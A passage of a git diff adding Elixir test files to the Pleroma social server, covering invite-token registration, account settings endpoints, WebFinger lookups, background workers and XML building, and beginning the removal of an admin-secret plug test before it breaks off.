UserInviteToken.create_invite(%{expires_at: Date.utc_today()}) + + check_fn.(invite) + + invite = Repo.get_by(UserInviteToken, token: invite.token) + + refute invite.used + end + + test "returns user on token which expired tomorrow", %{check_fn: check_fn} do + {:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.add(Date.utc_today(), 1)}) + + check_fn.(invite) + + invite = Repo.get_by(UserInviteToken, token: invite.token) + + refute invite.used + end + + test "returns an error on overdue date", %{data: data} do + {:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.add(Date.utc_today(), -1)}) + + data = Map.put(data, "token", invite.token) + + {:error, msg} = TwitterAPI.register_user(data) + + assert msg == "Expired token" + refute User.get_cached_by_nickname("vinny") + invite = Repo.get_by(UserInviteToken, token: invite.token) + + refute invite.used + end + end + + describe "registers with reusable token" do + setup do: clear_config([:instance, :registrations_open], false) + + test "returns user on success, after him registration fails" do + {:ok, invite} = UserInviteToken.create_invite(%{max_use: 100}) + + UserInviteToken.update_invite!(invite, uses: 99) + + data = %{ + :username => "vinny", + :email => "pasta@pizza.vs", + :fullname => "Vinny Vinesauce", + :bio => "streamer", + :password => "hiptofbees", + :confirm => "hiptofbees", + :token => invite.token + } + + {:ok, user} = TwitterAPI.register_user(data) + assert user == User.get_cached_by_nickname("vinny") + + invite = Repo.get_by(UserInviteToken, token: invite.token) + assert invite.used == true + + data = %{ + :username => "GrimReaper", + :email => "death@reapers.afterlife", + :fullname => "Reaper Grim", + :bio => "Your time has come", + :password => "scythe", + :confirm => "scythe", + :token => invite.token + } + + {:error, msg} = TwitterAPI.register_user(data) + + assert msg == "Expired token" + refute User.get_cached_by_nickname("GrimReaper") + end + end + + describe "registers with reusable date limited token" do + setup do: clear_config([:instance, :registrations_open], false) + + test "returns user on success" do + {:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.utc_today(), max_use: 100}) + + data = %{ + :username => "vinny", + :email => "pasta@pizza.vs", + :fullname => "Vinny Vinesauce", + :bio => "streamer", + :password => "hiptofbees", + :confirm => "hiptofbees", + :token => invite.token + } + + {:ok, user} = TwitterAPI.register_user(data) + assert user == User.get_cached_by_nickname("vinny") + + invite = Repo.get_by(UserInviteToken, token: invite.token) + refute invite.used + end + + test "error after max uses" do + {:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.utc_today(), max_use: 100}) + + UserInviteToken.update_invite!(invite, uses: 99) + + data = %{ + :username => "vinny", + :email => "pasta@pizza.vs", + :fullname => "Vinny Vinesauce", + :bio => "streamer", + :password => "hiptofbees", + :confirm => "hiptofbees", + :token => invite.token + } + + {:ok, user} = TwitterAPI.register_user(data) + assert user == User.get_cached_by_nickname("vinny") + + invite = Repo.get_by(UserInviteToken, token: invite.token) + assert invite.used == true + + data = %{ + :username => "GrimReaper", + :email => "death@reapers.afterlife", + :fullname => "Reaper Grim", + :bio => "Your time has come", + :password => "scythe", + :confirm => "scythe", + :token => invite.token + } + + {:error, msg} = TwitterAPI.register_user(data) + + assert msg == "Expired token" + refute User.get_cached_by_nickname("GrimReaper") + end + + test "returns error on overdue date" do + {:ok, invite} = + UserInviteToken.create_invite(%{expires_at: Date.add(Date.utc_today(), -1), max_use: 100}) + + data = %{ + :username => "GrimReaper", + :email => "death@reapers.afterlife", + :fullname => "Reaper Grim", + :bio => "Your time has come", + :password => "scythe", + :confirm => "scythe", + :token => invite.token + } + + {:error, msg} = TwitterAPI.register_user(data) + + assert msg == "Expired token" + refute User.get_cached_by_nickname("GrimReaper") + end + + test "returns error on with overdue date and after max" do + {:ok, invite} = + UserInviteToken.create_invite(%{expires_at: Date.add(Date.utc_today(), -1), max_use: 100}) + + UserInviteToken.update_invite!(invite, uses: 100) + + data = %{ + :username => "GrimReaper", + :email => "death@reapers.afterlife", + :fullname => "Reaper Grim", + :bio => "Your time has come", + :password => "scythe", + :confirm => "scythe", + :token => invite.token + } + + {:error, msg} = TwitterAPI.register_user(data) + + assert msg == "Expired token" + refute User.get_cached_by_nickname("GrimReaper") + end + end + + test "it returns the error on registration problems" do + data = %{ + :username => "lain", + :email => "lain@wired.jp", + :fullname => "lain iwakura", + :bio => "close the world." + } + + {:error, error} = TwitterAPI.register_user(data) + + assert is_binary(error) + refute User.get_cached_by_nickname("lain") + end + + setup do + Supervisor.terminate_child(Pleroma.Supervisor, Cachex) + Supervisor.restart_child(Pleroma.Supervisor, Cachex) + :ok + end +end diff --git a/test/pleroma/web/twitter_api/util_controller_test.exs b/test/pleroma/web/twitter_api/util_controller_test.exs new file mode 100644 index 000000000..60f2fb052 --- /dev/null +++ b/test/pleroma/web/twitter_api/util_controller_test.exs @@ -0,0 +1,437 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do + use Pleroma.Web.ConnCase + use Oban.Testing, repo: Pleroma.Repo + + alias Pleroma.Config + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + + import Pleroma.Factory + import Mock + + setup do + Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + setup do: clear_config([:instance]) + setup do: clear_config([:frontend_configurations, :pleroma_fe]) + + describe "PUT /api/pleroma/notification_settings" do + setup do: oauth_access(["write:accounts"]) + + test "it updates notification settings", %{user: user, conn: conn} do + conn + |> put("/api/pleroma/notification_settings", %{ + "block_from_strangers" => true, + "bar" => 1 + }) + |> json_response(:ok) + + user = refresh_record(user) + + assert %Pleroma.User.NotificationSetting{ + block_from_strangers: true, + hide_notification_contents: false + } == user.notification_settings + end + + test "it updates notification settings to enable hiding contents", %{user: user, conn: conn} do + conn + |> put("/api/pleroma/notification_settings", %{"hide_notification_contents" => "1"}) + |> json_response(:ok) + + user = refresh_record(user) + + assert %Pleroma.User.NotificationSetting{ + block_from_strangers: false, + hide_notification_contents: true + } == user.notification_settings + end + end + + describe "GET /api/pleroma/frontend_configurations" do + test "returns everything in :pleroma, :frontend_configurations", %{conn: conn} do + config = [ + frontend_a: %{ + x: 1, + y: 2 + }, + frontend_b: %{ + z: 3 + } + ] + + Config.put(:frontend_configurations, config) + + response = + conn + |> get("/api/pleroma/frontend_configurations") + |> json_response(:ok) + + assert response == Jason.encode!(config |> Enum.into(%{})) |> Jason.decode!() + end + end + + describe "/api/pleroma/emoji" do + test "returns json with custom emoji with tags", %{conn: conn} do + emoji = + conn + |> get("/api/pleroma/emoji") + |> json_response(200) + + assert Enum.all?(emoji, fn + {_key, + %{ + "image_url" => url, + "tags" => tags + }} -> + is_binary(url) and is_list(tags) + end) + end + end + + describe "GET /api/pleroma/healthcheck" do + setup do: clear_config([:instance, :healthcheck]) + + test "returns 503 when healthcheck disabled", %{conn: conn} do + Config.put([:instance, :healthcheck], false) + + response = + conn + |> get("/api/pleroma/healthcheck") + |> json_response(503) + + assert response == %{} + end + + test "returns 200 when healthcheck enabled and all ok", %{conn: conn} do + Config.put([:instance, :healthcheck], true) + + with_mock Pleroma.Healthcheck, + system_info: fn -> %Pleroma.Healthcheck{healthy: true} end do + response = + conn + |> get("/api/pleroma/healthcheck") + |> json_response(200) + + assert %{ + "active" => _, + "healthy" => true, + "idle" => _, + "memory_used" => _, + "pool_size" => _ + } = response + end + end + + test "returns 503 when healthcheck enabled and health is false", %{conn: conn} do + Config.put([:instance, :healthcheck], true) + + with_mock Pleroma.Healthcheck, + system_info: fn -> %Pleroma.Healthcheck{healthy: false} end do + response = + conn + |> get("/api/pleroma/healthcheck") + |> json_response(503) + + assert %{ + "active" => _, + "healthy" => false, + "idle" => _, + "memory_used" => _, + "pool_size" => _ + } = response + end + end + end + + describe "POST /api/pleroma/disable_account" do + setup do: oauth_access(["write:accounts"]) + + test "with valid permissions and password, it disables the account", %{conn: conn, user: user} do + response = + conn + |> post("/api/pleroma/disable_account", %{"password" => "test"}) + |> json_response(:ok) + + assert response == %{"status" => "success"} + ObanHelpers.perform_all() + + user = User.get_cached_by_id(user.id) + + assert user.deactivated == true + end + + test "with valid permissions and invalid password, it returns an error", %{conn: conn} do + user = insert(:user) + + response = + conn + |> post("/api/pleroma/disable_account", %{"password" => "test1"}) + |> json_response(:ok) + + assert response == %{"error" => "Invalid password."} + user = User.get_cached_by_id(user.id) + + refute user.deactivated + end + end + + describe "POST /main/ostatus - remote_subscribe/2" do + setup do: clear_config([:instance, :federating], true) + + test "renders subscribe form", %{conn: conn} do + user = insert(:user) + + response = + conn + |> post("/main/ostatus", %{"nickname" => user.nickname, "profile" => ""}) + |> response(:ok) + + refute response =~ "Could not find user" + assert response =~ "Remotely follow #{user.nickname}" + end + + test "renders subscribe form with error when user not found", %{conn: conn} do + response = + conn + |> post("/main/ostatus", %{"nickname" => "nickname", "profile" => ""}) + |> response(:ok) + + assert response =~ "Could not find user" + refute response =~ "Remotely follow" + end + + test "it redirect to webfinger url", %{conn: conn} do + user = insert(:user) + user2 = insert(:user, ap_id: "shp@social.heldscal.la") + + conn = + conn + |> post("/main/ostatus", %{ + "user" => %{"nickname" => user.nickname, "profile" => user2.ap_id} + }) + + assert redirected_to(conn) == + "https://social.heldscal.la/main/ostatussub?profile=#{user.ap_id}" + end + + test "it renders form with error when user not found", %{conn: conn} do + user2 = insert(:user, ap_id: "shp@social.heldscal.la") + + response = + conn + |> post("/main/ostatus", %{"user" => %{"nickname" => "jimm", "profile" => user2.ap_id}}) + |> response(:ok) + + assert response =~ "Something went wrong." + end + end + + test "it returns new captcha", %{conn: conn} do + with_mock Pleroma.Captcha, + new: fn -> "test_captcha" end do + resp = + conn + |> get("/api/pleroma/captcha") + |> response(200) + + assert resp == "\"test_captcha\"" + assert called(Pleroma.Captcha.new()) + end + end + + describe "POST /api/pleroma/change_email" do + setup do: oauth_access(["write:accounts"]) + + test "without permissions", %{conn: conn} do + conn = + conn + |> assign(:token, nil) + |> post("/api/pleroma/change_email") + + assert json_response(conn, 403) == %{"error" => "Insufficient permissions: write:accounts."} + end + + test "with proper permissions and invalid password", %{conn: conn} do + conn = + post(conn, "/api/pleroma/change_email", %{ + "password" => "hi", + "email" => "test@test.com" + }) + + assert json_response(conn, 200) == %{"error" => "Invalid password."} + end + + test "with proper permissions, valid password and invalid email", %{ + conn: conn + } do + conn = + post(conn, "/api/pleroma/change_email", %{ + "password" => "test", + "email" => "foobar" + }) + + assert json_response(conn, 200) == %{"error" => "Email has invalid format."} + end + + test "with proper permissions, valid password and no email", %{ + conn: conn + } do + conn = + post(conn, "/api/pleroma/change_email", %{ + "password" => "test" + }) + + assert json_response(conn, 200) == %{"error" => "Email can't be blank."} + end + + test "with proper permissions, valid password and blank email", %{ + conn: conn + } do + conn = + post(conn, "/api/pleroma/change_email", %{ + "password" => "test", + "email" => "" + }) + + assert json_response(conn, 200) == %{"error" => "Email can't be blank."} + end + + test "with proper permissions, valid password and non unique email", %{ + conn: conn + } do + user = insert(:user) + + conn = + post(conn, "/api/pleroma/change_email", %{ + "password" => "test", + "email" => user.email + }) + + assert json_response(conn, 200) == %{"error" => "Email has already been taken."} + end + + test "with proper permissions, valid password and valid email", %{ + conn: conn + } do + conn = + post(conn, "/api/pleroma/change_email", %{ + "password" => "test", + "email" => "cofe@foobar.com" + }) + + assert json_response(conn, 200) == %{"status" => "success"} + end + end + + describe "POST /api/pleroma/change_password" do + setup do: oauth_access(["write:accounts"]) + + test "without permissions", %{conn: conn} do + conn = + conn + |> assign(:token, nil) + |> post("/api/pleroma/change_password") + + assert json_response(conn, 403) == %{"error" => "Insufficient permissions: write:accounts."} + end + + test "with proper permissions and invalid password", %{conn: conn} do + conn = + post(conn, "/api/pleroma/change_password", %{ + "password" => "hi", + "new_password" => "newpass", + "new_password_confirmation" => "newpass" + }) + + assert json_response(conn, 200) == %{"error" => "Invalid password."} + end + + test "with proper permissions, valid password and new password and confirmation not matching", + %{ + conn: conn + } do + conn = + post(conn, "/api/pleroma/change_password", %{ + "password" => "test", + "new_password" => "newpass", + "new_password_confirmation" => "notnewpass" + }) + + assert json_response(conn, 200) == %{ + "error" => "New password does not match confirmation." + } + end + + test "with proper permissions, valid password and invalid new password", %{ + conn: conn + } do + conn = + post(conn, "/api/pleroma/change_password", %{ + "password" => "test", + "new_password" => "", + "new_password_confirmation" => "" + }) + + assert json_response(conn, 200) == %{ + "error" => "New password can't be blank." + } + end + + test "with proper permissions, valid password and matching new password and confirmation", %{ + conn: conn, + user: user + } do + conn = + post(conn, "/api/pleroma/change_password", %{ + "password" => "test", + "new_password" => "newpass", + "new_password_confirmation" => "newpass" + }) + + assert json_response(conn, 200) == %{"status" => "success"} + fetched_user = User.get_cached_by_id(user.id) + assert Pbkdf2.verify_pass("newpass", fetched_user.password_hash) == true + end + end + + describe "POST /api/pleroma/delete_account" do + setup do: oauth_access(["write:accounts"]) + + test "without permissions", %{conn: conn} do + conn = + conn + |> assign(:token, nil) + |> post("/api/pleroma/delete_account") + + assert json_response(conn, 403) == + %{"error" => "Insufficient permissions: write:accounts."} + end + + test "with proper permissions and wrong or missing password", %{conn: conn} do + for params <- [%{"password" => "hi"}, %{}] do + ret_conn = post(conn, "/api/pleroma/delete_account", params) + + assert json_response(ret_conn, 200) == %{"error" => "Invalid password."} + end + end + + test "with proper permissions and valid password", %{conn: conn, user: user} do + conn = post(conn, "/api/pleroma/delete_account", %{"password" => "test"}) + ObanHelpers.perform_all() + assert json_response(conn, 200) == %{"status" => "success"} + + user = User.get_by_id(user.id) + assert user.deactivated == true + assert user.name == nil + assert user.bio == "" + assert user.password_hash == nil + end + end +end diff --git a/test/pleroma/web/uploader_controller_test.exs b/test/pleroma/web/uploader_controller_test.exs new file mode 100644 index 000000000..21e518236 --- /dev/null +++ b/test/pleroma/web/uploader_controller_test.exs @@ -0,0 +1,43 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.UploaderControllerTest do + use Pleroma.Web.ConnCase + alias Pleroma.Uploaders.Uploader + + describe "callback/2" do + test "it returns 400 response when process callback isn't alive", %{conn: conn} do + res = + conn + |> post(uploader_path(conn, :callback, "test-path")) + + assert res.status == 400 + assert res.resp_body == "{\"error\":\"bad request\"}" + end + + test "it returns success result", %{conn: conn} do + task = + Task.async(fn -> + receive do + {Uploader, pid, conn, _params} -> + conn = + conn + |> put_status(:ok) + |> Phoenix.Controller.json(%{upload_path: "test-path"}) + + send(pid, {Uploader, conn}) + end + end) + + :global.register_name({Uploader, "test-path"}, task.pid) + + res = + conn + |> post(uploader_path(conn, :callback, "test-path")) + |> json_response(200) + + assert res == %{"upload_path" => "test-path"} + end + end +end diff --git a/test/pleroma/web/views/error_view_test.exs b/test/pleroma/web/views/error_view_test.exs new file mode 100644 index 000000000..8dbbd18b4 --- /dev/null +++ b/test/pleroma/web/views/error_view_test.exs @@ -0,0 +1,36 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ErrorViewTest do + use Pleroma.Web.ConnCase, async: true + import ExUnit.CaptureLog + + # Bring render/3 and render_to_string/3 for testing custom views + import Phoenix.View + + test "renders 404.json" do + assert render(Pleroma.Web.ErrorView, "404.json", []) == %{errors: %{detail: "Page not found"}} + end + + test "render 500.json" do + assert capture_log(fn -> + assert render(Pleroma.Web.ErrorView, "500.json", []) == + %{errors: %{detail: "Internal server error", reason: "nil"}} + end) =~ "[error] Internal server error: nil" + end + + test "render any other" do + assert capture_log(fn -> + assert render(Pleroma.Web.ErrorView, "505.json", []) == + %{errors: %{detail: "Internal server error", reason: "nil"}} + end) =~ "[error] Internal server error: nil" + end + + test "render 500.json with reason" do + assert capture_log(fn -> + assert render(Pleroma.Web.ErrorView, "500.json", reason: "test reason") == + %{errors: %{detail: "Internal server error", reason: "\"test reason\""}} + end) =~ "[error] Internal server error: \"test reason\"" + end +end diff --git a/test/pleroma/web/web_finger/web_finger_controller_test.exs b/test/pleroma/web/web_finger/web_finger_controller_test.exs new file mode 100644 index 000000000..0023f1e81 --- /dev/null +++ b/test/pleroma/web/web_finger/web_finger_controller_test.exs @@ -0,0 +1,94 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.WebFinger.WebFingerControllerTest do + use Pleroma.Web.ConnCase + + import ExUnit.CaptureLog + import Pleroma.Factory + import Tesla.Mock + + setup do + mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + setup_all do: clear_config([:instance, :federating], true) + + test "GET host-meta" do + response = + build_conn() + |> get("/.well-known/host-meta") + + assert response.status == 200 + + assert response.resp_body == + ~s(<?xml version="1.0" encoding="UTF-8"?><XRD xmlns="http://docs.oasis-open.org/ns/xri/xrd-1.0"><Link rel="lrdd" template="#{ + Pleroma.Web.base_url() + }/.well-known/webfinger?resource={uri}" type="application/xrd+xml" /></XRD>) + end + + test "Webfinger JRD" do + user = insert(:user) + + response = + build_conn() + |> put_req_header("accept", "application/jrd+json") + |> get("/.well-known/webfinger?resource=acct:#{user.nickname}@localhost") + + assert json_response(response, 200)["subject"] == "acct:#{user.nickname}@localhost" + end + + test "it returns 404 when user isn't found (JSON)" do + result = + build_conn() + |> put_req_header("accept", "application/jrd+json") + |> get("/.well-known/webfinger?resource=acct:jimm@localhost") + |> json_response(404) + + assert result == "Couldn't find user" + end + + test "Webfinger XML" do + user = insert(:user) + + response = + build_conn() + |> put_req_header("accept", "application/xrd+xml") + |> get("/.well-known/webfinger?resource=acct:#{user.nickname}@localhost") + + assert response(response, 200) + end + + test "it returns 404 when user isn't found (XML)" do + result = + build_conn() + |> put_req_header("accept", "application/xrd+xml") + |> get("/.well-known/webfinger?resource=acct:jimm@localhost") + |> response(404) + + assert result == "Couldn't find user" + end + + test "Sends a 404 when invalid format" do + user = insert(:user) + + assert capture_log(fn -> + assert_raise Phoenix.NotAcceptableError, fn -> + build_conn() + |> put_req_header("accept", "text/html") + |> get("/.well-known/webfinger?resource=acct:#{user.nickname}@localhost") + end + end) =~ "no supported media type in accept header" + end + + test "Sends a 400 when resource param is missing" do + response = + build_conn() + |> put_req_header("accept", "application/xrd+xml,application/jrd+json") + |> get("/.well-known/webfinger") + + assert response(response, 400) + end +end diff --git a/test/pleroma/web/web_finger_test.exs b/test/pleroma/web/web_finger_test.exs new file mode 100644 index 000000000..96fc0bbaa --- /dev/null +++ b/test/pleroma/web/web_finger_test.exs @@ -0,0 +1,116 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.WebFingerTest do + use Pleroma.DataCase + alias Pleroma.Web.WebFinger + import Pleroma.Factory + import Tesla.Mock + + setup do + mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + describe "host meta" do + test "returns a link to the xml lrdd" do + host_info = WebFinger.host_meta() + + assert String.contains?(host_info, Pleroma.Web.base_url()) + end + end + + describe "incoming webfinger request" do + test "works for fqns" do + user = insert(:user) + + {:ok, result} = + WebFinger.webfinger("#{user.nickname}@#{Pleroma.Web.Endpoint.host()}", "XML") + + assert is_binary(result) + end + + test "works for ap_ids" do + user = insert(:user) + + {:ok, result} = WebFinger.webfinger(user.ap_id, "XML") + assert is_binary(result) + end + end + + describe "fingering" do + test "returns error for nonsensical input" do + assert {:error, _} = WebFinger.finger("bliblablu") + assert {:error, _} = WebFinger.finger("pleroma.social") + end + + test "returns error when fails parse xml or json" do + user = "invalid_content@social.heldscal.la" + assert {:error, %Jason.DecodeError{}} = WebFinger.finger(user) + end + + test "returns the ActivityPub actor URI for an ActivityPub user" do + user = "framasoft@framatube.org" + + {:ok, _data} = WebFinger.finger(user) + end + + test "returns the ActivityPub actor URI for an ActivityPub user with the ld+json mimetype" do + user = "kaniini@gerzilla.de" + + {:ok, data} = WebFinger.finger(user) + + assert data["ap_id"] == "https://gerzilla.de/channel/kaniini" + end + + test "it work for AP-only user" do + user = "kpherox@mstdn.jp" + + {:ok, data} = WebFinger.finger(user) + + assert data["magic_key"] == nil + assert data["salmon"] == nil + + assert data["topic"] == nil + assert data["subject"] == "acct:kPherox@mstdn.jp" + assert data["ap_id"] == "https://mstdn.jp/users/kPherox" + assert data["subscribe_address"] == "https://mstdn.jp/authorize_interaction?acct={uri}" + end + + test "it works for friendica" do + user = "lain@squeet.me" + + {:ok, _data} = WebFinger.finger(user) + end + + test "it gets the xrd endpoint" do + {:ok, template} = WebFinger.find_lrdd_template("social.heldscal.la") + + assert template == "https://social.heldscal.la/.well-known/webfinger?resource={uri}" + end + + test "it gets the xrd endpoint for hubzilla" do + {:ok, template} = WebFinger.find_lrdd_template("macgirvin.com") + + assert template == "https://macgirvin.com/xrd/?uri={uri}" + end + + test "it gets the xrd endpoint for statusnet" do + {:ok, template} = WebFinger.find_lrdd_template("status.alpicola.com") + + assert template == "http://status.alpicola.com/main/xrd?uri={uri}" + end + + test "it works with idna domains as nickname" do + nickname = "lain@" <> to_string(:idna.encode("zetsubou.みんな")) + + {:ok, _data} = WebFinger.finger(nickname) + end + + test "it works with idna domains as link" do + ap_id = "https://" <> to_string(:idna.encode("zetsubou.みんな")) <> "/users/lain" + {:ok, _data} = WebFinger.finger(ap_id) + end + end +end diff --git a/test/pleroma/workers/cron/digest_emails_worker_test.exs b/test/pleroma/workers/cron/digest_emails_worker_test.exs new file mode 100644 index 000000000..65887192e --- /dev/null +++ b/test/pleroma/workers/cron/digest_emails_worker_test.exs @@ -0,0 +1,54 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Workers.Cron.DigestEmailsWorkerTest do + use Pleroma.DataCase + + import Pleroma.Factory + + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + setup do: clear_config([:email_notifications, :digest]) + + setup do + Pleroma.Config.put([:email_notifications, :digest], %{ + active: true, + inactivity_threshold: 7, + interval: 7 + }) + + user = insert(:user) + + date = + Timex.now() + |> Timex.shift(days: -10) + |> Timex.to_naive_datetime() + + user2 = insert(:user, last_digest_emailed_at: date) + {:ok, _} = User.switch_email_notifications(user2, "digest", true) + CommonAPI.post(user, %{status: "hey @#{user2.nickname}!"}) + + {:ok, user2: user2} + end + + test "it sends digest emails", %{user2: user2} do + Pleroma.Workers.Cron.DigestEmailsWorker.perform(%Oban.Job{}) + # Performing job(s) enqueued at previous step + ObanHelpers.perform_all() + + assert_received {:email, email} + assert email.to == [{user2.name, user2.email}] + assert email.subject == "Your digest from #{Pleroma.Config.get(:instance)[:name]}" + end + + test "it doesn't fail when a user has no email", %{user2: user2} do + {:ok, _} = user2 |> Ecto.Changeset.change(%{email: nil}) |> Pleroma.Repo.update() + + Pleroma.Workers.Cron.DigestEmailsWorker.perform(%Oban.Job{}) + # Performing job(s) enqueued at previous step + ObanHelpers.perform_all() + end +end diff --git a/test/pleroma/workers/cron/new_users_digest_worker_test.exs b/test/pleroma/workers/cron/new_users_digest_worker_test.exs new file mode 100644 index 000000000..129534cb1 --- /dev/null +++ b/test/pleroma/workers/cron/new_users_digest_worker_test.exs @@ -0,0 +1,45 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Workers.Cron.NewUsersDigestWorkerTest do + use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.Tests.ObanHelpers + alias Pleroma.Web.CommonAPI + alias Pleroma.Workers.Cron.NewUsersDigestWorker + + test "it sends new users digest emails" do + yesterday = NaiveDateTime.utc_now() |> Timex.shift(days: -1) + admin = insert(:user, %{is_admin: true}) + user = insert(:user, %{inserted_at: yesterday}) + user2 = insert(:user, %{inserted_at: yesterday}) + CommonAPI.post(user, %{status: "cofe"}) + + NewUsersDigestWorker.perform(%Oban.Job{}) + ObanHelpers.perform_all() + + assert_received {:email, email} + assert email.to == [{admin.name, admin.email}] + assert email.subject == "#{Pleroma.Config.get([:instance, :name])} New Users" + + refute email.html_body =~ admin.nickname + assert email.html_body =~ user.nickname + assert email.html_body =~ user2.nickname + assert email.html_body =~ "cofe" + assert email.html_body =~ "#{Pleroma.Web.Endpoint.url()}/static/logo.png" + end + + test "it doesn't fail when admin has no email" do + yesterday = NaiveDateTime.utc_now() |> Timex.shift(days: -1) + insert(:user, %{is_admin: true, email: nil}) + insert(:user, %{inserted_at: yesterday}) + user = insert(:user, %{inserted_at: yesterday}) + + CommonAPI.post(user, %{status: "cofe"}) + + NewUsersDigestWorker.perform(%Oban.Job{}) + ObanHelpers.perform_all() + end +end diff --git a/test/pleroma/workers/scheduled_activity_worker_test.exs b/test/pleroma/workers/scheduled_activity_worker_test.exs new file mode 100644 index 000000000..f3eddf7b1 --- /dev/null +++ b/test/pleroma/workers/scheduled_activity_worker_test.exs @@ -0,0 +1,49 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Workers.ScheduledActivityWorkerTest do + use Pleroma.DataCase + + alias Pleroma.ScheduledActivity + alias Pleroma.Workers.ScheduledActivityWorker + + import Pleroma.Factory + import ExUnit.CaptureLog + + setup do: clear_config([ScheduledActivity, :enabled]) + + test "creates a status from the scheduled activity" do + Pleroma.Config.put([ScheduledActivity, :enabled], true) + user = insert(:user) + + naive_datetime = + NaiveDateTime.add( + NaiveDateTime.utc_now(), + -:timer.minutes(2), + :millisecond + ) + + scheduled_activity = + insert( + :scheduled_activity, + scheduled_at: naive_datetime, + user: user, + params: %{status: "hi"} + ) + + ScheduledActivityWorker.perform(%Oban.Job{args: %{"activity_id" => scheduled_activity.id}}) + + refute Repo.get(ScheduledActivity, scheduled_activity.id) + activity = Repo.all(Pleroma.Activity) |> Enum.find(&(&1.actor == user.ap_id)) + assert Pleroma.Object.normalize(activity).data["content"] == "hi" + end + + test "adds log message if ScheduledActivity isn't find" do + Pleroma.Config.put([ScheduledActivity, :enabled], true) + + assert capture_log([level: :error], fn -> + ScheduledActivityWorker.perform(%Oban.Job{args: %{"activity_id" => 42}}) + end) =~ "Couldn't find scheduled activity" + end +end diff --git a/test/pleroma/xml_builder_test.exs b/test/pleroma/xml_builder_test.exs new file mode 100644 index 000000000..059384c34 --- /dev/null +++ b/test/pleroma/xml_builder_test.exs @@ -0,0 +1,65 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.XmlBuilderTest do + use Pleroma.DataCase + alias Pleroma.XmlBuilder + + test "Build a basic xml string from a tuple" do + data = {:feed, %{xmlns: "http://www.w3.org/2005/Atom"}, "Some content"} + + expected_xml = "<feed xmlns=\"http://www.w3.org/2005/Atom\">Some content</feed>" + + assert XmlBuilder.to_xml(data) == expected_xml + end + + test "returns a complete document" do + data = {:feed, %{xmlns: "http://www.w3.org/2005/Atom"}, "Some content"} + + expected_xml = + "<?xml version=\"1.0\" encoding=\"UTF-8\"?><feed xmlns=\"http://www.w3.org/2005/Atom\">Some content</feed>" + + assert XmlBuilder.to_doc(data) == expected_xml + end + + test "Works without attributes" do + data = { + :feed, + "Some content" + } + + expected_xml = "<feed>Some content</feed>" + + assert XmlBuilder.to_xml(data) == expected_xml + end + + test "It works with nested tuples" do + data = { + :feed, + [ + {:guy, "brush"}, + {:lament, %{configuration: "puzzle"}, "pinhead"} + ] + } + + expected_xml = + ~s[<feed><guy>brush</guy><lament configuration="puzzle">pinhead</lament></feed>] + + assert XmlBuilder.to_xml(data) == expected_xml + end + + test "Represents NaiveDateTime as iso8601" do + assert XmlBuilder.to_xml(~N[2000-01-01 13:13:33]) == "2000-01-01T13:13:33" + end + + test "Uses self-closing tags when no content is giving" do + data = { + :link, + %{rel: "self"} + } + + expected_xml = ~s[<link rel="self" />] + assert XmlBuilder.to_xml(data) == expected_xml + end +end diff --git a/test/plugs/admin_secret_authentication_plug_test.exs b/test/plugs/admin_secret_authentication_plug_test.exs deleted file mode 100644 index 14094eda8..000000000 --- a/test/plugs/admin_secret_authentication_plug_test.exs +++ /dev/null @@ -1,75 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.AdminSecretAuthenticationPlugTest do - use Pleroma.Web.ConnCase - - import Mock - import Pleroma.Factory - - alias Pleroma.Plugs.AdminSecretAuthenticationPlug - alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.Plugs.PlugHelper - alias Pleroma.Plugs.RateLimiter - - test "does nothing if a user is assigned", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> assign(:user, user) - - ret_conn = - conn - |> AdminSecretAuthenticationPlug.call(%{}) - - assert conn == ret_conn - end - - describe "when secret set it assigns an admin user" do - setup do: clear_config([:admin_token]) - - setup_with_mocks([{RateLimiter, [:passthrough], []}]) do - :ok - end - - test "with `admin_token` query parameter", %{conn: conn} do - Pleroma.Config.put(:admin_token, "password123") - - conn = - %{conn | params: %{"admin_token" => "wrong_password"}} - |> AdminSecretAuthenticationPlug.call(%{}) - - refute conn.assigns[:user] - assert called(RateLimiter.call(conn, name: :authentication)) - - conn = - %{conn | params: %{"admin_token" => "password123"}} - |> 